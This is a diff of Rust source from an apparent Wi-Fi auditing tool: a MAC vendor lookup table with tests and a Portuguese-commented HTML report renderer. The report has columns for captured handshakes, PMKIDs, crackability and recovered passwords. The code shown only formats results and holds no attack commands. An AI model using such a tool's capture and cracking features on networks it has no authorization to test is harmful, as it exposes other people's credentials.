("e091f5", "Netgear"),
|
||||
("e0b52d", "Apple"),
|
||||
("e0b9ba", "Apple"),
|
||||
("e0c767", "Apple"),
|
||||
("e0c97a", "Apple"),
|
||||
("e0cb4e", "Asus"),
|
||||
("e0d9e3", "Apple"),
|
||||
("e0f5c6", "Apple"),
|
||||
("e0f847", "Apple"),
|
||||
("e4121d", "Samsung"),
|
||||
("e425e7", "Apple"),
|
||||
("e42b34", "Apple"),
|
||||
("e450eb", "Apple"),
|
||||
("e458b8", "Samsung"),
|
||||
("e468a3", "Huawei"),
|
||||
("e46f13", "D-Link"),
|
||||
("e470b8", "Asus"),
|
||||
("e47cf9", "Samsung"),
|
||||
("e48b7f", "Apple"),
|
||||
("e48d8c", "MikroTik"),
|
||||
("e49a79", "Apple"),
|
||||
("e4b318", "Apple"),
|
||||
("e4c32a", "TP-Link"),
|
||||
("e4c63d", "Apple"),
|
||||
("e4ce8f", "Apple"),
|
||||
("e4e4ab", "Apple"),
|
||||
("e4f4c6", "Netgear"),
|
||||
("e8039a", "Samsung"),
|
||||
("e8040b", "Apple"),
|
||||
("e80688", "Apple"),
|
||||
("e8088b", "Huawei"),
|
||||
("e8102f", "Ruckus"),
|
||||
("e82689", "Apple"),
|
||||
("e82a44", "Apple"),
|
||||
("e848b8", "TP-Link"),
|
||||
("e8553d", "Meraki"),
|
||||
("e86d52", "Aruba"),
|
||||
("e8802e", "Apple"),
|
||||
("e88d28", "Apple"),
|
||||
("e89c25", "Asus"),
|
||||
("e8b2ac", "Apple"),
|
||||
("e8cc18", "D-Link"),
|
||||
("e8de27", "TP-Link"),
|
||||
("e8fcaf", "Netgear"),
|
||||
("ec086b", "TP-Link"),
|
||||
("ec172f", "TP-Link"),
|
||||
("ec1f72", "Samsung"),
|
||||
("ec2280", "D-Link"),
|
||||
("ec233d", "Huawei"),
|
||||
("ec3586", "Apple"),
|
||||
("ec852f", "Apple"),
|
||||
("ec8eb5", "Aruba"),
|
||||
("ec9bf3", "Asus"),
|
||||
("f01898", "Apple"),
|
||||
("f01cfc", "Apple"),
|
||||
("f025b7", "Samsung"),
|
||||
("f02f74", "Asus"),
|
||||
("f03e90", "Ruckus"),
|
||||
("f04347", "Huawei"),
|
||||
("f05c19", "Aruba"),
|
||||
("f07960", "Apple"),
|
||||
("f07d68", "D-Link"),
|
||||
("f0989d", "Apple"),
|
||||
("f09fc2", "TP-Link"),
|
||||
("f0b0e7", "Apple"),
|
||||
("f0c1f1", "Apple"),
|
||||
("f0cba1", "Apple"),
|
||||
("f0d1a9", "Apple"),
|
||||
("f0dbe2", "Apple"),
|
||||
("f0dce2", "Apple"),
|
||||
("f0f61c", "Apple"),
|
||||
("f437b7", "Apple"),
|
||||
("f4559c", "Huawei"),
|
||||
("f45c89", "Apple"),
|
||||
("f45fd4", "Apple"),
|
||||
("f46d04", "Asus"),
|
||||
("f483cd", "TP-Link"),
|
||||
("f49f54", "Samsung"),
|
||||
("f4e2c6", "Ubiquiti"),
|
||||
("f4ec38", "TP-Link"),
|
||||
("f4f15a", "Apple"),
|
||||
("f4f5d8", "Google"),
|
||||
("f4f951", "Apple"),
|
||||
("f80113", "Huawei"),
|
||||
("f81edf", "Apple"),
|
||||
("f82793", "Apple"),
|
||||
("f832e4", "Asus"),
|
||||
("f83880", "Apple"),
|
||||
("f86fc1", "Apple"),
|
||||
("f87394", "Netgear"),
|
||||
("f8ffc2", "Apple"),
|
||||
("fc0013", "Samsung"),
|
||||
("fc253f", "Apple"),
|
||||
("fc3497", "Asus"),
|
||||
("fc48ef", "Huawei"),
|
||||
("fc7516", "D-Link"),
|
||||
("fc7c02", "TP-Link"),
|
||||
("fca13e", "Samsung"),
|
||||
("fcc734", "Samsung"),
|
||||
("fcd848", "Apple"),
|
||||
("fce998", "Apple"),
|
||||
("fcecda", "Ubiquiti"),
|
||||
("fcfc48", "Apple"),
|
||||
];
|
||||
|
||||
pub fn vendor(mac: &str) -> Option<&'static str> {
|
||||
let hex: String = mac
|
||||
.chars()
|
||||
.filter(|c| c.is_ascii_hexdigit())
|
||||
.take(6)
|
||||
.collect::<String>()
|
||||
.to_ascii_lowercase();
|
||||
if hex.len() < 6 {
|
||||
return None;
|
||||
}
|
||||
OUIS.iter()
|
||||
.find(|(prefix, _)| *prefix == hex)
|
||||
.map(|(_, name)| *name)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn finds_common_vendors() {
|
||||
assert_eq!(vendor("b8:27:eb:aa:bb:cc"), None);
|
||||
assert_eq!(vendor("00:0c:29:aa:bb:cc"), Some("VMware"));
|
||||
assert_eq!(vendor("F4:F5:D8:00:00:00"), Some("Google"));
|
||||
assert_eq!(vendor("nope"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn prefixes_are_normalized() {
|
||||
for (prefix, _) in OUIS {
|
||||
assert_eq!(prefix.len(), 6, "{prefix}");
|
||||
assert!(prefix.chars().all(|c| c.is_ascii_hexdigit()), "{prefix}");
|
||||
assert_eq!(*prefix, prefix.to_ascii_lowercase(), "{prefix}");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,811 @@
|
||||
//! Relatório de auditoria em HTML paginado com Paged.js.
|
||||
//!
|
||||
//! O mesmo modelo alimenta a pré-visualização na interface e o arquivo
|
||||
//! standalone. A paginação é feita no navegador (A4, margens, cabeçalho e
|
||||
//! rodapé), então o PDF sai pelo diálogo de impressão sem depender de
|
||||
//! Chromium no servidor.
|
||||
|
||||
use crate::analysis::Analysis;
|
||||
use crate::audit::AuditEntry;
|
||||
use crate::handshake::HandshakeInfo;
|
||||
use crate::scan::{AccessPoint, Client, ScanStats};
|
||||
use serde::Serialize;
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct ReportModel {
|
||||
pub title: String,
|
||||
pub version: String,
|
||||
pub iface: String,
|
||||
pub running: bool,
|
||||
pub generated_unix: u64,
|
||||
pub stats: ScanStats,
|
||||
pub access_points: Vec<AccessPoint>,
|
||||
pub clients: Vec<Client>,
|
||||
pub handshakes: Vec<HandshakeInfo>,
|
||||
pub analysis: Analysis,
|
||||
pub audit: Vec<AuditEntry>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default)]
|
||||
pub struct ReportOptions {
|
||||
/// Troca o `<script src>` por um marcador para o servidor embutir o
|
||||
/// polyfill e gerar um HTML que funciona offline.
|
||||
pub inline_pagedjs: bool,
|
||||
}
|
||||
|
||||
const PAGED_MARKER: &str = "<!--SABIA_PAGEDJS-->";
|
||||
const LOGO_PNG: &[u8] = include_bytes!("../../../apps/gui/ui/sabia.png");
|
||||
const B64: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
/// Embute o logo como `data:` URI — sem isso o relatório standalone (modo
|
||||
/// offline, pensado pra abrir sem servidor nenhum) teria um `<img
|
||||
/// src="/sabia.png">` que nunca resolve fora do `sabia ui`. Pequeno o
|
||||
/// bastante (poucos KB) pra não valer a pena puxar uma crate de base64 só
|
||||
/// por isso.
|
||||
fn base64(bytes: &[u8]) -> String {
|
||||
let mut out = String::with_capacity(bytes.len().div_ceil(3) * 4);
|
||||
for chunk in bytes.chunks(3) {
|
||||
let b0 = chunk[0];
|
||||
let b1 = chunk.get(1).copied();
|
||||
let b2 = chunk.get(2).copied();
|
||||
out.push(B64[(b0 >> 2) as usize] as char);
|
||||
out.push(B64[(((b0 & 0b11) << 4) | (b1.unwrap_or(0) >> 4)) as usize] as char);
|
||||
out.push(match b1 {
|
||||
Some(b1) => B64[(((b1 & 0b1111) << 2) | (b2.unwrap_or(0) >> 6)) as usize] as char,
|
||||
None => '=',
|
||||
});
|
||||
out.push(match b2 {
|
||||
Some(b2) => B64[(b2 & 0b111111) as usize] as char,
|
||||
None => '=',
|
||||
});
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn esc(value: &str) -> String {
|
||||
value
|
||||
.replace('&', "&")
|
||||
.replace('<', "<")
|
||||
.replace('>', ">")
|
||||
.replace('"', """)
|
||||
.replace('\'', "'")
|
||||
}
|
||||
|
||||
fn civil_from_days(z: i64) -> (i64, u32, u32) {
|
||||
let z = z + 719468;
|
||||
let era = if z >= 0 { z } else { z - 146096 } / 146097;
|
||||
let doe = (z - era * 146097) as u64;
|
||||
let yoe = (doe - doe / 1460 + doe / 36524 - doe / 146096) / 365;
|
||||
let y = yoe as i64 + era * 400;
|
||||
let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
|
||||
let mp = (5 * doy + 2) / 153;
|
||||
let d = (doy - (153 * mp + 2) / 5 + 1) as u32;
|
||||
let m = if mp < 10 { mp + 3 } else { mp - 9 } as u32;
|
||||
(if m <= 2 { y + 1 } else { y }, m, d)
|
||||
}
|
||||
|
||||
pub fn format_unix(ts: u64) -> String {
|
||||
if ts == 0 {
|
||||
return "—".into();
|
||||
}
|
||||
let days = (ts / 86_400) as i64;
|
||||
let secs = ts % 86_400;
|
||||
let (y, m, d) = civil_from_days(days);
|
||||
format!(
|
||||
"{d:02}/{m:02}/{y} {:02}:{:02} UTC",
|
||||
secs / 3600,
|
||||
(secs % 3600) / 60
|
||||
)
|
||||
}
|
||||
|
||||
fn severity_label(severity: &str) -> &'static str {
|
||||
match severity {
|
||||
"bad" => "crítico",
|
||||
"warn" => "atenção",
|
||||
_ => "informativo",
|
||||
}
|
||||
}
|
||||
|
||||
fn stat_card(value: impl std::fmt::Display, label: &str, variant: &str) -> String {
|
||||
format!(
|
||||
"<div class=\"stat{}\"><span class=\"l\">{}</span><strong>{}</strong></div>",
|
||||
if variant.is_empty() {
|
||||
String::new()
|
||||
} else {
|
||||
format!(" v-{variant}")
|
||||
},
|
||||
esc(label),
|
||||
esc(&value.to_string()),
|
||||
)
|
||||
}
|
||||
|
||||
fn findings_html(model: &ReportModel) -> String {
|
||||
if model.analysis.findings.is_empty() {
|
||||
return "<p class=\"muted\">Nenhum achado relevante nas regras atuais.</p>".into();
|
||||
}
|
||||
let cards = model
|
||||
.analysis
|
||||
.findings
|
||||
.iter()
|
||||
.map(|f| {
|
||||
let scope = match (&f.ssid, &f.bssid) {
|
||||
(Some(ssid), Some(bssid)) => format!("{ssid} · {bssid}"),
|
||||
(Some(ssid), None) => ssid.clone(),
|
||||
(None, Some(bssid)) => bssid.clone(),
|
||||
_ => "—".into(),
|
||||
};
|
||||
format!(
|
||||
"<article class=\"finding finding-{}\"><header><span class=\"tag tag-{}\">{}</span><h3>{}</h3></header><p>{}</p><div class=\"scope mono\">{}</div></article>",
|
||||
esc(&f.severity),
|
||||
esc(&f.severity),
|
||||
severity_label(&f.severity),
|
||||
esc(&f.title),
|
||||
esc(&f.detail),
|
||||
esc(&scope),
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("");
|
||||
format!("<div class=\"findings\">{cards}</div>")
|
||||
}
|
||||
|
||||
fn channels_html(model: &ReportModel) -> String {
|
||||
if model.analysis.bands.is_empty() {
|
||||
return "<p class=\"muted\">Nenhum AP com canal identificado.</p>".into();
|
||||
}
|
||||
model
|
||||
.analysis
|
||||
.bands
|
||||
.iter()
|
||||
.map(|band| {
|
||||
let max = band
|
||||
.candidates
|
||||
.iter()
|
||||
.map(|c| c.score)
|
||||
.fold(0.0f32, f32::max)
|
||||
.max(0.01);
|
||||
let rows = band
|
||||
.candidates
|
||||
.iter()
|
||||
.map(|c| {
|
||||
let width = (c.score / max * 100.0).clamp(2.0, 100.0);
|
||||
let best = band.recommended == Some(c.channel);
|
||||
format!(
|
||||
"<div class=\"chan-row{} diff-{}\"><span class=\"chan-n mono\">{}{}</span><span class=\"chan-bar\"><i class=\"diff-{}\" style=\"width:{width:.1}%\"></i></span><span class=\"chan-score\">{:.2}</span><span class=\"chan-aps\">{} AP(s){} </span></div>",
|
||||
if best { " chan-best" } else { "" },
|
||||
if c.score < 0.5 { "low" } else if c.score < 1.5 { "mid" } else { "high" },
|
||||
c.channel,
|
||||
if c.dfs { "<span class=\"mini-tag\">DFS</span>" } else { "" },
|
||||
if c.score < 0.5 { "low" } else if c.score < 1.5 { "mid" } else { "high" },
|
||||
c.score,
|
||||
c.aps,
|
||||
if best { " · recomendado" } else { "" },
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("");
|
||||
format!(
|
||||
"<section class=\"band\"><header><h3>{}</h3><span class=\"muted\">canal recomendado: {}</span></header>{}</section>",
|
||||
esc(&band.band),
|
||||
band.recommended
|
||||
.map(|c| c.to_string())
|
||||
.unwrap_or_else(|| "—".into()),
|
||||
rows
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("")
|
||||
}
|
||||
|
||||
fn aps_html(model: &ReportModel) -> String {
|
||||
if model.access_points.is_empty() {
|
||||
return "<p class=\"muted\">Nenhum AP capturado.</p>".into();
|
||||
}
|
||||
let rows = model
|
||||
.access_points
|
||||
.iter()
|
||||
.map(|ap| {
|
||||
format!(
|
||||
"<tr><td class=\"strong\">{}</td><td class=\"mono\">{}</td><td class=\"mono\">{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td><td class=\"num\">{}</td><td class=\"num\">{}</td></tr>",
|
||||
esc(ap.ssid.as_deref().filter(|s| !s.is_empty()).unwrap_or("(oculta)")),
|
||||
esc(&ap.bssid),
|
||||
ap.channel.map(|c| c.to_string()).unwrap_or_else(|| "—".into()),
|
||||
esc(ap.security.as_deref().unwrap_or("—")),
|
||||
esc(ap.cipher.as_deref().unwrap_or("—")),
|
||||
if ap.pmf_required { "exigido" } else if ap.pmf { "sim" } else { "não" },
|
||||
if ap.wps { if ap.wps_locked == Some(true) { "travado" } else { "ativo" } } else { "—" },
|
||||
ap.signal_dbm.map(|s| s.to_string()).unwrap_or_else(|| "—".into()),
|
||||
ap.clients.len(),
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("");
|
||||
format!(
|
||||
"<table><thead><tr><th>SSID</th><th>BSSID</th><th>Canal</th><th>Segurança</th><th>Cifra</th><th>PMF</th><th>WPS</th><th>Sinal</th><th>Clientes</th></tr></thead><tbody>{rows}</tbody></table>"
|
||||
)
|
||||
}
|
||||
|
||||
fn clients_html(model: &ReportModel) -> String {
|
||||
if model.clients.is_empty() {
|
||||
return "<p class=\"muted\">Nenhum cliente capturado.</p>".into();
|
||||
}
|
||||
let rows = model
|
||||
.clients
|
||||
.iter()
|
||||
.take(120)
|
||||
.map(|c| {
|
||||
format!(
|
||||
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td class=\"num\">{}</td><td class=\"num\">{}</td><td>{}</td><td>{}</td></tr>",
|
||||
esc(&c.mac),
|
||||
esc(c.vendor.as_deref().unwrap_or("—")),
|
||||
esc(c.bssid.as_deref().unwrap_or("—")),
|
||||
c.signal_dbm.map(|s| s.to_string()).unwrap_or_else(|| "—".into()),
|
||||
c.packets,
|
||||
if c.associated { "sim" } else { "não" },
|
||||
esc(&c.probes.join(", ")),
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("");
|
||||
format!(
|
||||
"<table><thead><tr><th>MAC</th><th>Fabricante</th><th>BSSID</th><th>Sinal</th><th>Pacotes</th><th>Associado</th><th>Probes</th></tr></thead><tbody>{rows}</tbody></table>"
|
||||
)
|
||||
}
|
||||
|
||||
fn handshakes_html(model: &ReportModel) -> String {
|
||||
if model.handshakes.is_empty() {
|
||||
return "<p class=\"muted\">Nenhum handshake ou PMKID capturado.</p>".into();
|
||||
}
|
||||
let rows = model
|
||||
.handshakes
|
||||
.iter()
|
||||
.map(|h| {
|
||||
format!(
|
||||
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td>{}</td><td>{}</td><td>{}</td></tr>",
|
||||
esc(&h.station),
|
||||
esc(h.ssid.as_deref().unwrap_or("—")),
|
||||
esc(h.kind.as_str()),
|
||||
esc(&h.messages),
|
||||
if h.pmkid.is_some() { "PMKID" } else if h.crackable { "sim" } else { "não" },
|
||||
esc(h.password.as_deref().unwrap_or("—")),
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("");
|
||||
format!(
|
||||
"<table><thead><tr><th>Estação</th><th>SSID</th><th>Tipo</th><th>Mensagens</th><th>Quebrável</th><th>Senha</th></tr></thead><tbody>{rows}</tbody></table>"
|
||||
)
|
||||
}
|
||||
|
||||
fn wpa3_html(model: &ReportModel) -> String {
|
||||
if model.analysis.wpa3.is_empty() {
|
||||
return "<p class=\"muted\">Nenhuma rede WPA3 observada.</p>".into();
|
||||
}
|
||||
model
|
||||
.analysis
|
||||
.wpa3
|
||||
.iter()
|
||||
.map(|w| {
|
||||
let notes = if w.notes.is_empty() {
|
||||
"<li>Nenhuma observação adicional.</li>".to_string()
|
||||
} else {
|
||||
w.notes
|
||||
.iter()
|
||||
.map(|n| format!("<li>{}</li>", esc(n)))
|
||||
.collect::<Vec<_>>()
|
||||
.join("")
|
||||
};
|
||||
format!(
|
||||
"<article class=\"wpa3\"><header><strong>{}</strong><span class=\"mono\">{}</span><span class=\"tag tag-info\">{}</span></header><p>PMF: {} · obrigatório: {} · transição: {}</p><ul>{}</ul></article>",
|
||||
esc(w.ssid.as_deref().unwrap_or("(oculta)")),
|
||||
esc(&w.bssid),
|
||||
esc(&w.mode),
|
||||
if w.pmf { "sim" } else { "não" },
|
||||
if w.pmf_required { "sim" } else { "não" },
|
||||
if w.transition { "sim" } else { "não" },
|
||||
notes
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("")
|
||||
}
|
||||
|
||||
fn audit_html(model: &ReportModel) -> String {
|
||||
if model.audit.is_empty() {
|
||||
return "<p class=\"muted\">Trilha de auditoria vazia.</p>".into();
|
||||
}
|
||||
let rows = model
|
||||
.audit
|
||||
.iter()
|
||||
.take(60)
|
||||
.map(|e| {
|
||||
let detail = if e.detail.chars().count() > 140 {
|
||||
format!("{}…", e.detail.chars().take(140).collect::<String>())
|
||||
} else {
|
||||
e.detail.clone()
|
||||
};
|
||||
format!(
|
||||
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td class=\"mono small\">{}</td><td class=\"mono small\">{}</td></tr>",
|
||||
esc(&e.timestamp),
|
||||
esc(&e.action),
|
||||
esc(&e.target),
|
||||
esc(&detail),
|
||||
esc(&e.hash[..12.min(e.hash.len())]),
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("");
|
||||
format!(
|
||||
"<table class=\"compact\"><thead><tr><th>Quando</th><th>Ação</th><th>Alvo</th><th>Detalhe</th><th>Hash</th></tr></thead><tbody>{rows}</tbody></table>"
|
||||
)
|
||||
}
|
||||
|
||||
const CSS: &str = r#"
|
||||
:root {
|
||||
--ink: #17211a;
|
||||
--muted: #5b6760;
|
||||
--faint: #838f87;
|
||||
--line: #d8dfdb;
|
||||
--soft: #f3f6f3;
|
||||
--accent: #92400e;
|
||||
--accent-soft: #fbe9d9;
|
||||
--deep: #241705;
|
||||
--deep2: #140d02;
|
||||
--signal: #0e7490;
|
||||
--signal-soft: #d9f0f3;
|
||||
--bad: #b3261e;
|
||||
--bad-soft: #fbe4e2;
|
||||
--warn: #92400e;
|
||||
--warn-soft: #fbe9d9;
|
||||
--info: #0e7490;
|
||||
--info-soft: #d9f0f3;
|
||||
--display: "Source Serif 4", Georgia, serif;
|
||||
--body: "Inter", "Segoe UI", system-ui, sans-serif;
|
||||
--mono: "JetBrains Mono", "SFMono-Regular", Consolas, monospace;
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
html, body { margin: 0; padding: 0; }
|
||||
body {
|
||||
font-family: var(--body);
|
||||
color: var(--ink);
|
||||
font-size: 10.5pt;
|
||||
line-height: 1.55;
|
||||
background: #dfe4e1;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
.report { background: #fff; }
|
||||
h1, h2, h3 { font-family: var(--display); line-height: 1.15; margin: 0; }
|
||||
h2 { font-size: 18pt; letter-spacing: -0.01em; margin: 0 0 1mm; color: var(--deep); break-after: avoid; string-set: section content(); }
|
||||
h2::before { content: ""; display: block; width: 9mm; height: 1mm; background: var(--accent); margin-bottom: 3mm; border-radius: 1mm; }
|
||||
h3 { font-size: 12.5pt; margin: 0 0 6pt; break-after: avoid; color: var(--deep); }
|
||||
p { margin: 0 0 8pt; }
|
||||
.mono { font-family: var(--mono); font-size: 8.8pt; }
|
||||
.muted { color: var(--muted); }
|
||||
.small { font-size: 8.2pt; }
|
||||
.strong { font-weight: 600; }
|
||||
.num { text-align: right; font-variant-numeric: tabular-nums; }
|
||||
.eyebrow { font-family: var(--mono); font-size: 8pt; letter-spacing: .14em; text-transform: uppercase; color: var(--accent); font-weight: 700; margin: 0 0 3mm; }
|
||||
.desc { color: var(--muted); font-size: 9.6pt; margin: 0 0 5mm; max-width: 150mm; }
|
||||
section.chapter { margin: 0 0 9mm; break-before: page; }
|
||||
section.chapter:first-of-type { break-before: avoid; }
|
||||
|
||||
/* ---------- cover ---------- */
|
||||
.cover {
|
||||
page: cover;
|
||||
height: 297mm; width: 210mm; margin: 0;
|
||||
display: flex; flex-direction: column; justify-content: space-between;
|
||||
padding: 22mm 18mm; break-after: page; position: relative; overflow: hidden;
|
||||
background: radial-gradient(120% 120% at 100% 0%, #3a2409 0%, var(--deep) 45%, var(--deep2) 100%);
|
||||
color: #fff;
|
||||
}
|
||||
.cover .top { display: flex; justify-content: space-between; align-items: flex-start; }
|
||||
.cover .brand { display: flex; align-items: center; gap: 3mm; }
|
||||
.cover .brand img { width: 11mm; height: 11mm; border-radius: 3mm; display: block; }
|
||||
.cover .brand span { font-family: var(--display); font-size: 14pt; font-weight: 700; letter-spacing: -0.01em; }
|
||||
.cover .badge { font: 700 8pt var(--mono); letter-spacing: .14em; text-transform: uppercase; color: #ffd38a; border: 1px solid #a66a2e; background: rgba(255,211,138,.08); padding: 2.5mm 4mm; border-radius: 1mm; white-space: nowrap; }
|
||||
.cover .mid { margin-top: auto; }
|
||||
.cover .eyebrow { color: #ffb963; margin-bottom: 4mm; }
|
||||
.cover h1 { font-size: 40pt; letter-spacing: -0.02em; max-width: 150mm; color: #fff; margin-bottom: 6mm; }
|
||||
.cover .lead { max-width: 125mm; font-size: 12.5pt; color: #e7d9c4; line-height: 1.6; }
|
||||
.cover .meta { display: grid; grid-template-columns: repeat(4, 1fr); gap: 6mm; margin-top: 16mm; padding-top: 6mm; border-top: 1px solid rgba(255,255,255,.18); }
|
||||
.cover .meta dt { font: 500 7.5pt var(--mono); text-transform: uppercase; letter-spacing: .12em; color: #c9b599; margin-bottom: 1.5mm; }
|
||||
.cover .meta dd { margin: 0; font-size: 10.5pt; color: #fff; }
|
||||
.cover .foot { font-size: 8.3pt; color: #c9b599; margin-top: 10mm; max-width: 150mm; }
|
||||
|
||||
/* ---------- table of contents ---------- */
|
||||
.toc { break-after: page; }
|
||||
.toc h2::before { display: none; }
|
||||
.toc ol { list-style: none; margin: 7mm 0 0; padding: 0; }
|
||||
.toc a { display: flex; align-items: baseline; gap: 3mm; color: var(--ink); text-decoration: none; padding: 2.8mm 0; border-bottom: .5pt solid var(--line); font: 500 11pt var(--body); }
|
||||
.toc a::after { content: target-counter(attr(href), page); font: 700 10pt var(--mono); color: var(--accent); margin-left: auto; }
|
||||
.toc .n { font: 700 9.5pt var(--mono); color: var(--faint); width: 8mm; flex: none; }
|
||||
|
||||
/* ---------- kpis ---------- */
|
||||
.stats { display: grid; grid-template-columns: repeat(4, 1fr); gap: 4mm; margin: 0 0 7mm; }
|
||||
.stat { border-top: 1mm solid var(--accent); background: var(--soft); padding: 4mm 4.5mm 4.5mm; break-inside: avoid; }
|
||||
.stat.v-bad { border-top-color: var(--bad); }
|
||||
.stat.v-warn { border-top-color: var(--warn); }
|
||||
.stat.v-ok { border-top-color: #1a7f37; }
|
||||
.stat .l { display: block; font: 500 7.3pt var(--mono); letter-spacing: .1em; text-transform: uppercase; color: var(--muted); margin-bottom: 2mm; }
|
||||
.stat strong { display: block; font-family: var(--display); font-size: 25pt; line-height: 1; letter-spacing: -0.01em; color: var(--deep); }
|
||||
.stat.v-bad strong { color: var(--bad); } .stat.v-warn strong { color: var(--warn); }
|
||||
|
||||
/* ---------- findings ---------- */
|
||||
.findings { display: grid; grid-template-columns: 1fr 1fr; gap: 4mm; }
|
||||
.finding { border: 1px solid var(--line); border-left: 1mm solid var(--info); padding: 4mm 4.5mm; break-inside: avoid; background: #fff; }
|
||||
.finding-bad { border-left-color: var(--bad); }
|
||||
.finding-warn { border-left-color: var(--warn); }
|
||||
.finding header { display: flex; align-items: center; gap: 3mm; margin-bottom: 2mm; }
|
||||
.finding h3 { margin: 0; font-size: 11pt; }
|
||||
.finding p { font-size: 9.3pt; color: #36443e; }
|
||||
.finding .scope { color: var(--muted); font-size: 8pt; }
|
||||
.tag { display: inline-block; border-radius: 1mm; padding: 1mm 2.3mm; font: 700 7.3pt var(--mono); text-transform: uppercase; letter-spacing: .08em; background: #e8ecea; color: #47544e; }
|
||||
.tag-bad { background: var(--bad-soft); color: var(--bad); }
|
||||
.tag-warn { background: var(--warn-soft); color: var(--warn); }
|
||||
.tag-info { background: var(--info-soft); color: var(--info); }
|
||||
|
||||
/* ---------- tables ---------- */
|
||||
table { width: 100%; border-collapse: collapse; margin: 0 0 6mm; font-size: 8.8pt; }
|
||||
thead { display: table-header-group; }
|
||||
th { text-align: left; font: 500 7.5pt var(--mono); text-transform: uppercase; letter-spacing: .09em; color: var(--muted); border-bottom: 1.3pt solid var(--ink); padding: 2.2mm 2.3mm; vertical-align: bottom; }
|
||||
td { border-bottom: .5pt solid var(--line); padding: 1.9mm 2.3mm; vertical-align: top; overflow-wrap: anywhere; }
|
||||
tbody tr { break-inside: avoid; }
|
||||
tbody tr:nth-child(even) td { background: #f7f9f7; }
|
||||
.band { margin: 0 0 7mm; break-inside: avoid; }
|
||||
.band header { display: flex; justify-content: space-between; align-items: baseline; margin-bottom: 3mm; }
|
||||
.chan-row { display: grid; grid-template-columns: 11mm 1fr 12mm 30mm; gap: 2mm; align-items: center; font-size: 8.6pt; padding: 1mm 0; }
|
||||
.chan-n { font-weight: 600; }
|
||||
.chan-bar { height: 3.2mm; background: #eef2ef; border-radius: 999px; overflow: hidden; }
|
||||
.chan-bar i { display: block; height: 100%; background: #b8c8bf; border-radius: 999px; }
|
||||
.chan-bar i.diff-low { background: linear-gradient(90deg, #1a7f37, #4fae6c); }
|
||||
.chan-bar i.diff-mid { background: linear-gradient(90deg, #92400e, #c2792e); }
|
||||
.chan-bar i.diff-high { background: linear-gradient(90deg, #b3261e, #d4635c); }
|
||||
.chan-best { background: var(--accent-soft); border-radius: 1mm; padding: 1.4mm 2mm; }
|
||||
.chan-score { text-align: right; font-variant-numeric: tabular-nums; }
|
||||
.chan-aps { color: var(--muted); font-size: 8pt; }
|
||||
.mini-tag { display: inline-block; margin-left: 1.5mm; border: .5pt solid var(--line); border-radius: 1mm; padding: 0 1.2mm; font-size: 6.5pt; color: var(--muted); }
|
||||
.wpa3 { border: 1px solid var(--line); border-left: 1mm solid var(--signal); padding: 4mm 4.5mm; margin-bottom: 3mm; break-inside: avoid; background: #fff; }
|
||||
.wpa3 header { display: flex; gap: 3mm; align-items: center; margin-bottom: 2mm; }
|
||||
.wpa3 ul { margin: 2mm 0 0 4mm; padding: 0; }
|
||||
.wpa3 li { margin-bottom: 1mm; }
|
||||
.callout { background: var(--accent-soft); border-left: 1mm solid var(--accent); padding: 4mm 4.5mm; margin: 0 0 5mm; }
|
||||
.callout strong { color: var(--deep); }
|
||||
.callout.v-bad { background: var(--bad-soft); border-left-color: var(--bad); }
|
||||
.callout.v-bad strong { color: var(--bad); }
|
||||
.callout.v-warn { background: var(--warn-soft); border-left-color: var(--warn); }
|
||||
.callout.v-warn strong { color: var(--warn); }
|
||||
.callout.v-ok { background: #e6f4ea; border-left-color: #1a7f37; }
|
||||
.callout.v-ok strong { color: #1a7f37; }
|
||||
.pagedjs_page { background: #fff; }
|
||||
.pagedjs_pages { margin: 0 auto; }
|
||||
@page {
|
||||
size: A4;
|
||||
margin: 24mm 16mm 20mm 16mm;
|
||||
background: #fff;
|
||||
@top-left { content: "SABIÁ · AUDITORIA WI-FI"; font: 600 7.5pt var(--mono); letter-spacing: .1em; color: var(--faint); vertical-align: bottom; padding-bottom: 4mm; }
|
||||
@top-center { content: string(section); font: 500 7.5pt var(--mono); letter-spacing: .08em; text-transform: uppercase; color: var(--faint); vertical-align: bottom; padding-bottom: 4mm; text-align: center; }
|
||||
@top-right { content: "\25CF USO AUTORIZADO"; font: 700 7.5pt var(--mono); letter-spacing: .1em; color: var(--accent); vertical-align: bottom; padding-bottom: 4mm; text-align: right; white-space: nowrap; }
|
||||
@bottom-left { content: string(footline); font: 400 7.5pt var(--mono); color: var(--faint); vertical-align: top; padding-top: 4mm; }
|
||||
@bottom-right { content: counter(page) " / " counter(pages); font: 700 8pt var(--mono); color: var(--ink); vertical-align: top; padding-top: 4mm; text-align: right; }
|
||||
}
|
||||
@page cover {
|
||||
margin: 0;
|
||||
@top-left { content: none; } @top-center { content: none; } @top-right { content: none; }
|
||||
@bottom-left { content: none; } @bottom-right { content: none; }
|
||||
}
|
||||
.doc-meta { string-set: footline attr(data-footline); }
|
||||
#pagedjs-ignore { display: none; }
|
||||
@media print { body { background: #fff; } }
|
||||
"#;
|
||||
|
||||
pub fn render(model: &ReportModel, options: ReportOptions) -> String {
|
||||
let paged = if options.inline_pagedjs {
|
||||
